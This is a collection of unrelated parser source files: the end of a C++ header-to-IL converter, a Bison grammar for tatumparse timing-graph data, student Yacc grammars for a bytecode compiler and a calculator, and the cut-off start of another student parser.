else sprintf(szN,"ANON%d",m_uAnonNumber++);
strcpy(pILT->szString,"value class ");
if(strlen(m_szCurrentNS))
{
strcat(pILT->szString,m_szCurrentNS);
strcat(pILT->szString,m_uInClass ? "/" : ".");
}
strcat(pILT->szString,szN);
strcpy(m_szCurrentNS,&pILT->szString[12]); // [12] to skip "value class"
pILT->bExplicit = m_pCurrILType->bExplicit;
pILT->szMarshal[0] = 0;
memcpy(m_pCurrILType,pILT,sizeof(ILType));
m_pCurrILType->bExplicit = FALSE;
m_ILTypeStack.PUSH(pILT);
printf("%s.class value %spublic auto autochar sealed %s extends System.Enum\n%s{\n",
m_szIndent,(m_uInClass ? "nested " : ""),szN,m_szIndent);
strcat(m_szIndent," ");
printf("%s.custom System.Security.SuppressUnmanagedCodeSecurityAttribute\n",m_szIndent);
if(!m_uInClass) printf("%s.comtype public %s { }\n",m_szIndent,&pILT->szString[12]);
printf("%s.field public int32 'value__'\n",m_szIndent);
PushFieldIx();
m_uCurrentFieldIx = 0;
m_uInClass++;
}
/********************************************************************************/
void HParse::CloseClass()
{
if(m_nBitFieldCount)
{
char szType[64];
m_nBitFieldCount += 7;
m_nBitFieldCount >>= 3; // bits->bytes
switch(m_nBitFieldCount)
{
case 1: sprintf(szType,"unsigned int8"); break;
case 2: sprintf(szType,"int16"); break;
case 4: sprintf(szType,"int32"); break;
case 8: sprintf(szType,"int64"); break;
default: sprintf(szType,"unsigned int8[%d]",m_nBitFieldCount); break;
}
printf("%s.field %spublic %s ANON%d //size: %d\n",
m_szIndent,
(m_pCurrILType->bExplicit ? "[0] " : ""),szType,m_uAnonNumber++,m_nBitFieldCount);
m_uCurrentFieldIx += m_nBitFieldCount;
m_nBitFieldCount = 0;
}
delete m_pCurrILType;
m_pCurrILType = m_ILTypeStack.POP();
m_pCurrILType->iSize = m_uCurrentFieldIx;
m_szIndent[strlen(m_szIndent)-2] = 0;
printf("%s} //size: %d\n",m_szIndent,m_uCurrentFieldIx);
PopFieldIx();
m_uInClass--;
if(char* pch = strrchr(m_szCurrentNS,m_uInClass ? '/' : '.')) *pch = 0;
else m_szCurrentNS[0] = 0;
//if(m_pVDescr) delete m_pVDescr;
//m_pVDescr = NULL;
};
/********************************************************************************/
void HParse::EmitField(char* szName)
{
if(m_uInClass)
{
#if(1)
BinStr bsName;
char sz[32];
if(szName) bsName.appendStr(szName);
else
{
sprintf(sz,"ANON%d",m_uAnonNumber++);
bsName.appendStr(sz);
}
EmitTypes(&bsName,FALSE);
#else
if(m_pCurrILType->szString[0] &&(m_pCurrILType->szString[0] != '['))
{
if(szName)
printf("%s.field %spublic marshal(%s) %s %s\n",
m_szIndent,(m_pCurrILType->bExplicit ? "[0] " : ""),
m_pCurrILType->szMarshal,m_pCurrILType->szString,szName);
else
printf("%s.field %spublic marshal(%s) %s ANON%d\n",
m_szIndent,(m_pCurrILType->bExplicit ? "[0] " : ""),
m_pCurrILType->szMarshal,m_pCurrILType->szString,m_uAnonNumber++);
}
#endif
}
}
/********************************************************************************/
void HParse::EmitEnumField(char* szName, int iVal)
{
printf("%s.field public static literal int32 %s = int32(%d)\n",
m_szIndent,szName, iVal);
m_uCurrentFieldIx += 4;
}
/**************************************************************************/
void HParse::EmitFunction(BinStr* pbsType, char* szCallConv, BinStr* pbsName, BinStr* pbsArguments)
{
char sz[1024];
BinStr* pbs;
AppDescr* pAD;
pbsName->appendInt8(0);
char* szName = (char*)(pbsName->ptr());
while(*szName == '*') { pbsType->appendInt8('*'); szName++; }
int L = strlen(szName)-1;
char LastChr = szName[L];
if((LastChr == 'A')||(LastChr == 'W')) szName[L] = 0;
else LastChr = 0;
if(pAD = GetAppProps(szName))
{
if(LastChr) szName[L] = LastChr;
pbsType->appendInt8(0);
char *szType = (char*)(pbsType->ptr());
char *szMarshal = &szType[strlen(szType)+1];
pbs = new BinStr();
//sprintf(sz,"//EmitFunction: pbsType->length()=%d, strlen(szType)=%d\n",pbsType->length(),strlen(szType));
//pbs->appendStr(sz);
sprintf(sz,"%s .method public static pinvokeimpl(\"%s\" %s winapi lasterr) %s marshal(%s) %s (",
m_szIndent, pAD->szDLL,
(LastChr == 'A' ? "ansi" : (LastChr == 'W' ? "unicode" : "autochar")),
szType, szMarshal, szName);
pbs->appendStr(sz);
pbs->append(pbsArguments);
pbs->appendStr(") il managed { }\n");
// check for duplicate methods
pbs->appendInt8(0);
pAD->pClass->bsBody.appendInt8(0);
szName = strstr((char*)(pAD->pClass->bsBody.ptr()),(char*)(pbs->ptr()));
pAD->pClass->bsBody.remove(1);
pbs->remove(1);
if(szName == NULL) pAD->pClass->bsBody.append(pbs);
delete pbs;
}
else
{
printf("//EmitFunction: unlisted API '%s'\n",szName);
}
}
/**************************************************************************/
void HParse::FuncPtrType(BinStr* pbsType, char* szCallConv, BinStr* pbsSig)
{
/*
pbsType->appendInt8(0);
pbsSig->appendInt8(0);
sprintf(m_pCurrILType->szString,"method %s *( %s)",
(char*)(pbsType->ptr()),(char*)(pbsSig->ptr()));
strcpy(m_pCurrILType->szMarshal,"*");
*/
strcpy(m_pCurrILType->szString,"class System.Delegate");
m_pCurrILType->szMarshal[0]=0;
}
/**************************************************************************/
ClassDescr* HParse::FindCreateClass(char* szFullName)
{
char *pN,*pNS;
ClassDescr* pCD;
if(pN = strrchr(szFullName,'.'))
{
*pN = 0; pN++;
pNS = szFullName;
}
else
{
pN = szFullName;
pNS = "";
}
for(int j=0; pCD = ClassQ.PEEK(j); j++)
{
if((!strcmp(pNS,pCD->szNamespace))&&(!strcmp(pN,pCD->szName))) return pCD;
}
pCD = new ClassDescr;
strcpy(pCD->szNamespace, pNS);
strcpy(pCD->szName,pN);
ClassQ.PUSH(pCD);
return pCD;
}
/**************************************************************************/
AppDescr* HParse::GetAppProps(char* szAppName)
{
AppDescr* pAD;
for(int j=0; pAD = AppQ.PEEK(j); j++)
{
if(!strcmp(pAD->szApp,szAppName)) return pAD;
}
return NULL;
}
/**************************************************************************/
void HParse::error(char* fmt, ...) {
success = false;
va_list args;
va_start(args, fmt);
fprintf(stdout, "// %s(%d) : error -- ", in->name(), curLine);
vfprintf(stdout, fmt, args);
}
/**************************************************************************/
void HParse::warn(char* fmt, ...) {
//success = false;
va_list args;
va_start(args, fmt);
fprintf(stdout, "// %s(%d) : warning -- ", in->name(), curLine);
vfprintf(stdout, fmt, args);
}
/*
#include <stdio.h>
int main(int argc, char* argv[]) {
printf ("Begining\n");
if (argc != 2)
return -1;
FileReadStream in(argv[1]);
if (!in) {
printf("Could not open %s\n", argv[1]);
return(-1);
}
Assembler assem;
AsmParse parser(&in, &assem);
printf ("Done\n");
return (0);
}
*/
// TODO remove when we use MS_YACC
//#undef __cplusplus
|
<filename>libs/EXTERNAL/libtatum/libtatumparse/tatumparse/tatumparse.y<gh_stars>100-1000
/* C++ parsers require Bison 3 */
%require "3.0"
%language "C++"
/* Write-out tokens header file */
%defines
/* Use Bison's 'variant' to store values.
* This allows us to use non POD types (e.g.
* with constructors/destrictors), which is
* not possible with the default mode which
* uses unions.
*/
%define api.value.type variant
/*
* Use the 'complete' symbol type (i.e. variant)
* in the lexer
*/
%define api.token.constructor
/*
* Add a prefix the make_* functions used to
* create the symbols
*/
%define api.token.prefix {TOKEN_}
/*
* Use a re-entrant (no global vars) parser
*/
/*%define api.pure full*/
/* Wrap everything in our namespace */
%define api.namespace {tatumparse}
/* Name the parser class */
%define parser_class_name {Parser}
/* Match the flex prefix */
%define api.prefix {tatumparse_}
/* Extra checks for correct usage */
%define parse.assert
/* Enable debugging info */
%define parse.trace
/* Better error reporting */
%define parse.error verbose
/*
* Fixes inaccuracy in verbose error reporting.
* May be slow for some grammars.
*/
/*%define parse.lac full*/
/* Track locations */
/*%locations*/
/* Generate a table of token names */
%token-table
%lex-param {Lexer& lexer}
%parse-param {Lexer& lexer}
%parse-param {Callback& callback}
%code requires {
#include <memory>
#include "tatumparse.hpp"
#include "tatumparse/tatumparse_lexer_fwd.hpp"
}
%code top {
#include "tatumparse/tatumparse_lexer.hpp"
//Bison calls tatumparse_lex() to get the next token.
//We use the Lexer class as the interface to the lexer, so we
//re-defined the function to tell Bison how to get the next token.
static tatumparse::Parser::symbol_type tatumparse_lex(tatumparse::Lexer& lexer) {
return lexer.next_token();
}
}
%{
#include <stdio.h>
#include <cmath>
#include "assert.h"
#include "tatumparse.hpp"
#include "tatumparse/tatumparse_common.hpp"
#include "tatumparse/tatumparse_error.hpp"
using namespace tatumparse;
%}
/* Declare constant */
%token TIMING_GRAPH "timing_graph:"
%token NODE "node:"
%token TYPE "type:"
%token SOURCE "SOURCE"
%token SINK "SINK"
%token IPIN "IPIN"
%token OPIN "OPIN"
%token CPIN "CPIN"
%token IN_EDGES "in_edges:"
%token OUT_EDGES "out_edges:"
%token EDGE "edge:"
%token SRC_NODE "src_node:"
%token SINK_NODE "sink_node:"
%token DISABLED "disabled:"
%token PRIMITIVE_COMBINATIONAL "PRIMITIVE_COMBINATIONAL"
%token PRIMITIVE_CLOCK_LAUNCH "PRIMITIVE_CLOCK_LAUNCH"
%token PRIMITIVE_CLOCK_CAPTURE "PRIMITIVE_CLOCK_CAPTURE"
%token INTERCONNECT "INTERCONNECT"
%token TRUE "true"
%token FALSE "false"
%token TIMING_CONSTRAINTS "timing_constraints:"
%token CLOCK "CLOCK"
%token CLOCK_SOURCE "CLOCK_SOURCE"
%token CONSTANT_GENERATOR "CONSTANT_GENERATOR"
%token MAX_INPUT_CONSTRAINT "MAX_INPUT_CONSTRAINT"
%token MIN_INPUT_CONSTRAINT "MIN_INPUT_CONSTRAINT"
%token MAX_OUTPUT_CONSTRAINT "MAX_OUTPUT_CONSTRAINT"
%token MIN_OUTPUT_CONSTRAINT "MIN_OUTPUT_CONSTRAINT"
%token SETUP_CONSTRAINT "SETUP_CONSTRAINT"
%token HOLD_CONSTRAINT "HOLD_CONSTRAINT"
%token SETUP_UNCERTAINTY "SETUP_UNCERTAINTY"
%token HOLD_UNCERTAINTY "HOLD_UNCERTAINTY"
%token EARLY_SOURCE_LATENCY "EARLY_SOURCE_LATENCY"
%token LATE_SOURCE_LATENCY "LATE_SOURCE_LATENCY"
%token DOMAIN "domain:"
%token NAME "name:"
%token CONSTRAINT "constraint:"
%token UNCERTAINTY "uncertainty:"
%token LATENCY "latency:"
%token LAUNCH_DOMAIN "launch_domain:"
%token CAPTURE_DOMAIN "capture_domain:"
%token CAPTURE_NODE "capture_node:"
%token DELAY_MODEL "delay_model:"
%token MIN_DELAY "min_delay:"
%token MAX_DELAY "max_delay:"
%token SETUP_TIME "setup_time:"
%token HOLD_TIME "hold_time:"
%token ANALYSIS_RESULTS "analysis_results:"
%token SETUP_DATA "SETUP_DATA"
%token SETUP_DATA_ARRIVAL "SETUP_DATA_ARRIVAL"
%token SETUP_DATA_REQUIRED "SETUP_DATA_REQUIRED"
%token SETUP_LAUNCH_CLOCK "SETUP_LAUNCH_CLOCK"
%token SETUP_CAPTURE_CLOCK "SETUP_CAPTURE_CLOCK"
%token SETUP_SLACK "SETUP_SLACK"
%token HOLD_DATA "HOLD_DATA"
%token HOLD_DATA_ARRIVAL "HOLD_DATA_ARRIVAL"
%token HOLD_DATA_REQUIRED "HOLD_DATA_REQUIRED"
%token HOLD_LAUNCH_CLOCK "HOLD_LAUNCH_CLOCK"
%token HOLD_CAPTURE_CLOCK "HOLD_CAPTURE_CLOCK"
%token HOLD_SLACK "HOLD_SLACK"
%token TIME "time:"
%token SLACK "slack:"
%token EOL "end-of-line"
%token EOF 0 "end-of-file"
/* declare variable tokens */
%token <std::string> STRING
%token <int> INT
%token <float> FLOAT
/* declare types */
%type <int> NodeId
%type <int> SrcNodeId
%type <int> SinkNodeId
%type <int> EdgeId
%type <tatumparse::NodeType> NodeType
%type <tatumparse::EdgeType> EdgeType
%type <std::vector<int>> IntList
%type <std::vector<int>> InEdges
%type <std::vector<int>> OutEdges
%type <int> DomainId
%type <int> LaunchDomainId
%type <int> CaptureDomainId
%type <int> CaptureNodeId
%type <float> Constraint
%type <float> Uncertainty
%type <float> Latency
%type <std::string> Name
%type <float> Number
%type <float> MaxDelay
%type <float> MinDelay
%type <float> SetupTime
%type <float> HoldTime
%type <float> Time
%type <float> Slack
%type <TagType> TagType
%type <bool> Disabled
%type <bool> Bool
/* Top level rule */
%start tatum_data
%%
tatum_data: /*empty*/ { }
| tatum_data Graph { callback.finish_graph(); }
| tatum_data Constraints { callback.finish_constraints(); }
| tatum_data DelayModel { callback.finish_delay_model(); }
| tatum_data Results { callback.finish_results(); }
| tatum_data EOL { /*eat stray EOL */ }
Graph: TIMING_GRAPH EOL { callback.start_graph(); }
| Graph NodeId NodeType InEdges OutEdges EOL { callback.add_node($2, $3, $4, $4); }
| Graph EdgeId EdgeType SrcNodeId SinkNodeId Disabled EOL { callback.add_edge($2, $3, $4, $5, $6); }
Constraints: TIMING_CONSTRAINTS EOL { callback.start_constraints(); }
| Constraints TYPE CLOCK DomainId Name EOL { callback.add_clock_domain($4, $5); }
| Constraints TYPE CLOCK_SOURCE NodeId DomainId EOL { callback.add_clock_source($4, $5); }
| Constraints TYPE CONSTANT_GENERATOR NodeId EOL { callback.add_constant_generator($4); }
| Constraints TYPE MAX_INPUT_CONSTRAINT NodeId DomainId Constraint EOL { callback.add_max_input_constraint($4, $5, $6); }
| Constraints TYPE MIN_INPUT_CONSTRAINT NodeId DomainId Constraint EOL { callback.add_min_input_constraint($4, $5, $6); }
| Constraints TYPE MAX_OUTPUT_CONSTRAINT NodeId DomainId Constraint EOL { callback.add_max_output_constraint($4, $5, $6); }
| Constraints TYPE MIN_OUTPUT_CONSTRAINT NodeId DomainId Constraint EOL { callback.add_min_output_constraint($4, $5, $6); }
| Constraints TYPE SETUP_CONSTRAINT LaunchDomainId CaptureDomainId Constraint EOL { callback.add_setup_constraint($4, $5, -1, $6); }
| Constraints TYPE HOLD_CONSTRAINT LaunchDomainId CaptureDomainId Constraint EOL { callback.add_hold_constraint($4, $5, -1, $6); }
| Constraints TYPE SETUP_CONSTRAINT LaunchDomainId CaptureDomainId CaptureNodeId Constraint EOL { callback.add_setup_constraint($4, $5, $6, $7); }
| Constraints TYPE HOLD_CONSTRAINT LaunchDomainId CaptureDomainId CaptureNodeId Constraint EOL { callback.add_hold_constraint($4, $5, $6, $7); }
| Constraints TYPE SETUP_UNCERTAINTY LaunchDomainId CaptureDomainId Uncertainty EOL { callback.add_setup_uncertainty($4, $5, $6); }
| Constraints TYPE HOLD_UNCERTAINTY LaunchDomainId CaptureDomainId Uncertainty EOL { callback.add_hold_uncertainty($4, $5, $6); }
| Constraints TYPE EARLY_SOURCE_LATENCY DomainId Latency EOL { callback.add_early_source_latency($4, $5); }
| Constraints TYPE LATE_SOURCE_LATENCY DomainId Latency EOL { callback.add_late_source_latency($4, $5); }
DelayModel: DELAY_MODEL EOL { callback.start_delay_model(); }
| DelayModel EdgeId MinDelay MaxDelay EOL { callback.add_edge_delay($2, $3, $4); }
| DelayModel EdgeId SetupTime HoldTime EOL { callback.add_edge_setup_hold_time($2, $3, $4); }
Results: ANALYSIS_RESULTS EOL { callback.start_results(); }
| Results TagType NodeId LaunchDomainId CaptureDomainId Time EOL { callback.add_node_tag($2, $3, $4, $5, NAN); }
| Results TagType EdgeId LaunchDomainId CaptureDomainId Slack EOL { callback.add_edge_slack($2, $3, $4, $5, NAN); }
| Results TagType NodeId LaunchDomainId CaptureDomainId Slack EOL { callback.add_node_slack($2, $3, $4, $5, NAN); }
Time: TIME Number { $$ = $2; }
Slack: SLACK Number { $$ = $2; }
TagType: TYPE SETUP_DATA_ARRIVAL { $$ = TagType::SETUP_DATA_ARRIVAL; }
| TYPE SETUP_DATA_REQUIRED { $$ = TagType::SETUP_DATA_REQUIRED; }
| TYPE SETUP_LAUNCH_CLOCK { $$ = TagType::SETUP_LAUNCH_CLOCK; }
| TYPE SETUP_CAPTURE_CLOCK { $$ = TagType::SETUP_CAPTURE_CLOCK; }
| TYPE SETUP_SLACK { $$ = TagType::SETUP_SLACK; }
| TYPE HOLD_DATA_ARRIVAL { $$ = TagType::HOLD_DATA_ARRIVAL; }
| TYPE HOLD_DATA_REQUIRED { $$ = TagType::HOLD_DATA_REQUIRED; }
| TYPE HOLD_LAUNCH_CLOCK { $$ = TagType::HOLD_LAUNCH_CLOCK; }
| TYPE HOLD_CAPTURE_CLOCK { $$ = TagType::HOLD_CAPTURE_CLOCK; }
| TYPE HOLD_SLACK { $$ = TagType::HOLD_SLACK; }
MaxDelay: MAX_DELAY Number { $$ = $2; }
MinDelay: MIN_DELAY Number { $$ = $2; }
SetupTime: SETUP_TIME Number { $$ = $2; }
HoldTime: HOLD_TIME Number { $$ = $2; }
DomainId: DOMAIN INT { $$ = $2; }
LaunchDomainId: LAUNCH_DOMAIN INT { $$ = $2; }
CaptureDomainId: CAPTURE_DOMAIN INT { $$ = $2; }
CaptureNodeId: CAPTURE_NODE INT { $$ = $2; }
Constraint: CONSTRAINT Number { $$ = $2; }
Uncertainty: UNCERTAINTY Number { $$ = $2; }
Latency: LATENCY Number { $$ = $2; }
Name: NAME STRING { $$ = $2; }
NodeType: TYPE SOURCE { $$ = NodeType::SOURCE; }
| TYPE SINK { $$ = NodeType::SINK; }
| TYPE IPIN { $$ = NodeType::IPIN; }
| TYPE OPIN { $$ = NodeType::OPIN; }
| TYPE CPIN { $$ = NodeType::CPIN; }
EdgeType: TYPE PRIMITIVE_COMBINATIONAL { $$ = EdgeType::PRIMITIVE_COMBINATIONAL; }
| TYPE PRIMITIVE_CLOCK_LAUNCH { $$ = EdgeType::PRIMITIVE_CLOCK_LAUNCH; }
| TYPE PRIMITIVE_CLOCK_CAPTURE { $$ = EdgeType::PRIMITIVE_CLOCK_CAPTURE; }
| TYPE INTERCONNECT { $$ = EdgeType::INTERCONNECT; }
NodeId: NODE INT { $$ = $2;}
InEdges: IN_EDGES IntList { $$ = $2; }
OutEdges: OUT_EDGES IntList { $$ = $2; }
EdgeId: EDGE INT { $$ = $2; }
SrcNodeId: SRC_NODE INT { $$ = $2; }
SinkNodeId: SINK_NODE INT { $$ = $2; }
Disabled: /* Unsipecified*/ { $$ = false; }
| DISABLED Bool { $$ = $2; }
Bool: TRUE { $$ = true; }
| FALSE { $$ = false; }
IntList: /*empty*/ { $$ = std::vector<int>(); }
| IntList INT { $$ = std::move($1); $$.push_back($2); }
Number: INT { $$ = $1; }
| FLOAT { $$ = $1; }
%%
void tatumparse::Parser::error(const std::string& msg) {
tatum_error_wrap(callback, lexer.lineno(), lexer.text(), msg.c_str());
}
|
<filename>csie/10compiler/4a/c.y
%{
#include<map>
#include<stack>
#include<string>
#include<vector>
#include<stdio.h>
#include<cstdarg>
using namespace std;
int lineno = 1,error = 0;
extern "C" {
int yyparse(void);
int yylex(void);
int yywrap(){
return 1;
}
void yyerror(const char *msg) {
error = lineno;
}
}
class Frame {
public:
Frame();
void NewVal(const string& name);
int LoadVal(const string& name);
int LoadArray(const string& name);
int StoreVal(const string& name);
void clear();
private:
int count;
map<string,int> var_table;
};
stack<Frame> frames;
Frame current;
void Code(const char fmt[], ...);
void _Code(const char fmt[], ...);
void Comment(const char fmt[], ...);
void VarDecl(vector<string>& list);
int BeginLabel();
int EndLabel();
void Begin(int);
void End(int);
int LoopBeginLabel();
int LoopEndLabel();
void LoopBegin();
void LoopEnd();
string tmp;
bool NoLoad;
stack<int> labels, loops;
int dim_count, _label_num = 0, __tmp;
%}
%union {
char sval[2048];
int ival;
}
%token <sval> ID
%token <ival> NUM
%token INT
%token IF
%token ELSE
%token WHILE
%token CONTINUE
%token BREAK
%token SCAN
%token PRINT
%token SIGN
%token OP
%token CMP
%token LE
%token GE
%token EQ
%type <sval> var
%right '='
%left OR
%left AND
%left EQ NE
%left '<' LE '>' GE
%left '+' '-'
%left '*' '/'
%right '!'
%%
blockStmt : '{' {
frames.push(current);
}
varDecl stmts '}' {
if (!frames.empty()) {
current = frames.top();
frames.pop();
}
else current.clear();
}
;
varDecl :
| varDecl INT {
dim_count = 0;
} ArrayDim list ';';
ArrayDim :
| ArrayDim '[' NUM ']' {
Code("ldc %d", $3);
++dim_count;
}
;
list : ID {
current.NewVal($1);
}
| list ',' ID {
current.NewVal($3);
}
;
var : ID {
current.LoadVal($1);
}
| ID {
current.LoadArray($1);
} Index {
Code("iaload");
}
;
Index : '[' arithExpr ']'
| Index {
Code("aaload");
} '[' arithExpr ']'
;
stmts :
| stmts stmt
;
stmt : blockStmt
| ID '=' arithExpr ';' {
current.StoreVal($1);
}
| ID {
current.LoadArray($1);
} Index '=' arithExpr ';' {
Code("iastore");
}
| IF '(' boolExpr ')' {
Begin(0);
Begin(0);
Code("ifeq L%d", EndLabel());
} blockStmt {
int tmp = EndLabel();
End(0);
Code("goto L%d", EndLabel());
_Code("L%d:\n", tmp);
} Else {
End(1);
}
| WHILE {
LoopBegin();
} '(' boolExpr ')' {
Code("ifeq L%d", LoopEndLabel());
} blockStmt {
Code("goto L%d", LoopBeginLabel());
LoopEnd();
}
| CONTINUE ';' {
Code("goto L%d", LoopBeginLabel());
}
| BREAK ';' {
Code("goto L%d", LoopEndLabel());
}
| SCAN '(' varList ')' ';'
| PRINT '(' expList ')' ';'
;
Else :
| ELSE blockStmt;
varList : ScanArg
| varList ',' ScanArg
;
ScanArg : ID {
Code("new BufferedReader");
Code("dup");
Code("new InputStreamReader");
Code("dup");
Code("getstatic InputStream in @ System");
Code("invokespecial void <init>(InputStream) @ InputStreamReader");
Code("invokespecial void <init>(Reader) @ BufferedReader");
Code("invokevirtual String readLine() @ BufferedReader");
Code("invokestatic int parseInt(String) @ Integer");
current.StoreVal($1);
}
| ID {
current.LoadArray($1);
} Index {
Code("new BufferedReader");
Code("dup");
Code("new InputStreamReader");
Code("dup");
Code("getstatic InputStream in @ System");
Code("invokespecial void <init>(InputStream) @ InputStreamReader");
Code("invokespecial void <init>(Reader) @ BufferedReader");
Code("invokevirtual String readLine() @ BufferedReader");
Code("invokestatic int parseInt(String) @ Integer");
Code("iastore");
}
;
expList : PrintArg
| expList ',' PrintArg
;
PrintArg : {
Code("getstatic PrintStream out @ System");
} arithExpr {
Code("invokevirtual void println(int) @ PrintStream");
}
;
arithExpr : var
| NUM {
Code("ldc %d", $1);
}
| '(' arithExpr ')'
| '+' arithExpr
| '-' arithExpr {Code("ineg");}
| arithExpr '*' arithExpr {Code("imul");}
| arithExpr '/' arithExpr {Code("idiv");}
| arithExpr '+' arithExpr {Code("iadd");}
| arithExpr '-' arithExpr {Code("isub");}
;
boolExpr : arithExpr '<' {
Code("ldc 1");
Code("swap");
} arithExpr {
Begin(0);
Code("if_icmplt L%d", EndLabel());
Code("dup");
Code("isub");
End(1);
}
| arithExpr LE {
Code("ldc 1");
Code("swap");
} arithExpr {
Begin(0);
Code("if_icmplt L%d", EndLabel());
Code("dup");
Code("isub");
End(1);
}
| arithExpr {
Code("ldc 1");
Code("swap");
} '>' arithExpr {
Begin(0);
Code("if_icmpgt L%d", EndLabel());
Code("dup");
Code("isub");
End(1);
}
| arithExpr {
Code("ldc 1");
Code("swap");
} GE arithExpr {
Begin(0);
Code("if_icmpge L%d", EndLabel());
Code("dup");
Code("isub");
End(1);
}
| arithExpr {
Code("ldc 1");
Code("swap");
} EQ arithExpr {
Begin(0);
Code("if_icmpeq L%d", EndLabel());
Code("dup");
Code("isub");
End(1);
}
| arithExpr {
Code("ldc 1");
Code("swap");
} NE arithExpr {
Begin(0);
Code("if_icmpne L%d", EndLabel());
Code("dup");
Code("isub");
End(1);
}
| boolExpr {
Begin(0);
Code("ldc 0");
Code("swap");
Code("ifeq L%d", EndLabel());
} AND boolExpr {
Code("ifeq L%d", EndLabel());
Code("pop");
Code("ldc 1");
End(1);
}
| boolExpr {
Begin(0);
Code("ldc 1");
Code("swap");
Code("ifne L%d", EndLabel());
} OR boolExpr {
Code("ifne L%d", EndLabel());
Code("pop");
Code("ldc 0");
End(1);
}
| '!' boolExpr {
Code("ldc 1");
Code("ixor");
}
;
%%
void _Code(const char fmt[], ...) {
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
}
void Code(const char fmt[], ...) {
putchar('\t');
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
putchar('\n');
}
void Comment(const char fmt[], ...) {
printf(";");
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
puts("");
}
void Begin(int print) {
labels.push(++_label_num);
if (print) {
_Code("L%d:\n", labels.top()*2);
}
}
void End(int print) {
if (print) {
_Code("L%d:\n", labels.top()*2 + 1);
}
if (!labels.empty()) labels.pop();
}
int BeginLabel() {
return labels.top()*2;
}
int EndLabel() {
return labels.top()*2 + 1;
}
void LoopBegin() {
Begin(1);
loops.push(BeginLabel()/2);
}
void LoopEnd() {
End(1);
if (!loops.empty())
loops.pop();
}
int LoopBeginLabel() {
return loops.top()*2;
}
int LoopEndLabel() {
return loops.top()*2 + 1;
}
void Head() {
_Code(".import java.io.*\n");
_Code(".class c0\n");
_Code(".method void <init>()\n");
Code("aload #0");
Code("invokespecial void <init>() @ Object");
Code("return");
_Code(".method public static void main(String[])\n");
}
void Tail() {
Code("return");
}
Frame::Frame() {
count = 0;
}
void Frame::NewVal(const string& name) {
var_table[name] = count++;
int id = var_table[name];
Comment("var %s(%d)", name.c_str(), var_table[name]);
if (dim_count == 0)
return;
_Code("\tmultianewarray int");
for (int i = 0;i < dim_count;++i) _Code("[]");
_Code(" %d\n", dim_count);
Code("astore #%d",id);
}
int Frame::LoadVal(const string& name) {
if (var_table.count(name)) {
Code("iload #%d", var_table[name]);
} else {}
}
int Frame::LoadArray(const string& name) {
if (var_table.count(name)) {
Code("aload #%d", var_table[name]);
} else {}
}
int Frame::StoreVal(const string& name) {
if (var_table.count(name)) {
Code("istore #%d", var_table[name]);
} else {}
}
void Frame::clear() {var_table.clear();}
int main(int argc,char **argv) {
Head();
yyparse();
if (error > 0)
fprintf(stderr, "Fail (around line %d)\n", error);
else {
fputs("Pass\n", stderr);
Tail();
}
}
|
// Start of script
expr : expr '+' expr { $$ = node('+', $1, $3); }
// I decided to make Yacc the main project language file for this project (Seanpm2001/Learn-Yacc) as Yacc is the language this project is dedicated to, because this project is about learning the Yacc programming language. It only makes sense to make Yacc the official language for this project.
// File info
// File type: Yacc source file (*.y *.yacc)
// File version: 1 (2021, Thursday, December 16th at 8:28 pm)
// Line count (including blank lines and compiler line): 9
// End of script
|
%{
#include <stdio.h>
#include <stdlib.h>
//static std::map<std::string, int> vars;
//char c = '5';
//int x = c - '0';
int alphabet[26] = { 0 };
int yylex ();
void yyerror(char *s);
int error=0;
int errorCount = 0;
%}
%output "calcwithvariables.tab.c"
/* declare tokens */
%token PRINT ASSIGN
%token INT
%token VARIABLE
%token ADD MINUS MUL DIV OPEN CLOSE EOL
%start start1
%%
start1:
| start1 printFun EOL{ }
;
printFun: expr
| PRINT VARIABLE { if(!error){ int a = $2-'0'-49; printf("%d\n", alphabet[a]); } }
;
expr:
| INT { $$ = $1; }
| VARIABLE { int a = $1-'0'-49; $$= alphabet[a]; }
| VARIABLE ASSIGN expr { int a = $1-'0'-49; alphabet[a]=$3; }
//| VARIABLE ASSIGN expr { $$ = vars[*$1] = $3; delete $1; }
| expr ADD expr { $$ = $1 + $3; }
| expr MINUS expr MINUS expr { $$ = $1 - $3 - $5; }
| expr MINUS expr { $$ = $1 - $3; }
| expr MUL expr { $$ = $1 * $3; }
| expr DIV expr { $$ = $1 / $3; }
//| MINUS expr { $$ = -$2; } /// fix a probably this answer should be -4 is 2 a:=1-2-3
| OPEN expr CLOSE { $$ = $2; }
;
/*
factor: term
| factor MUL term { $$ = $1 * $3; }
| factor DIV term { $$ = $1 / $3; }
;
term:
| MINUS expr { $$ = -$2; }
| OPEN expr CLOSE { $$ = $2; }
;
*/
%%
int main()
{
if (!error)
yyparse();
if (error)
yyerror("syntax error");
return 0;
}
void yyerror(char *s)
{
if(errorCount == 0)
{
printf("%s\n", s);
error=1;
errorCount++;
}
}
|
%{
#include <stdio.h>
#include <stdlib.h>
#include "linkedList.h"
void yyerror(char *s);
int depth = 0;
int add;
char type[20];
char value[20];
char operat[4];
int d = -1; // rajouter une erreur s'il n'est pas à -1 à la fin { } non fermée
int o = -1;
int debuto[20];
int compteurdeif[20];
int compteurfonction[20];
int compteurELSIF[20];
int error = 0;
int x=0;
int boolean;
char* instructions[256][4];
int compteurinstructions=0;
int FinStruct=0;
int temp =0;
int valueInt;
char si[38]=""; // Taille d'un integer
FILE *finstructions;
FILE *fp;
// FUNCTION + Problème de reduction 2 JUMP inutile et afc de valeur jump de fin
%}
%union
{
char char_val;
int int_val;
double double_val;
char* str_val;
}
%token <int_val> tIF tELSE tELSIF tWHILE tPRINTF tET tCHAR tMAIN tCONST tINTEGER tSPACE tTAB tBACKSPACE tCOMA tSEMICOLON tGEQ tLEQ tBE tINF tSUP tNEWL tEXPO tCOMMENT
%token <int_val> tVOID tPLUS tMOINS tMULT tDIV tPOW tEQUAL tAND tOR tPOPEN tPCLOSE tAOPEN tACLOSE tCOPEN tCCLOSE tERROR tTRUE tFALSE
%token <double_val> tDEC tAPOS
%token <char_val> tCHARACTER
%token <str_val> tVARNAME tFLOAT tINT
%type <str_val> type
%type <int_val> calcul_multiple
%type <int_val> conditional_expression
%type <int_val> condition
%type <int_val> conditioner
%type <int_val> main
%type <int_val> statement
%type <int_val> expression
%type <int_val> elsif
%type <int_val> declaration_pointeur
%type <str_val> variable_multiple
%type <str_val> expression_arithmetic
%right tEQUAL
%left tMOINS tPLUS
%left tMULT tDIV
%left tPOPEN tPCLOSE
%start go
%%
// $first priorité sur les parenthèse et division multiplier
//Penser à fonction imbriqués
go
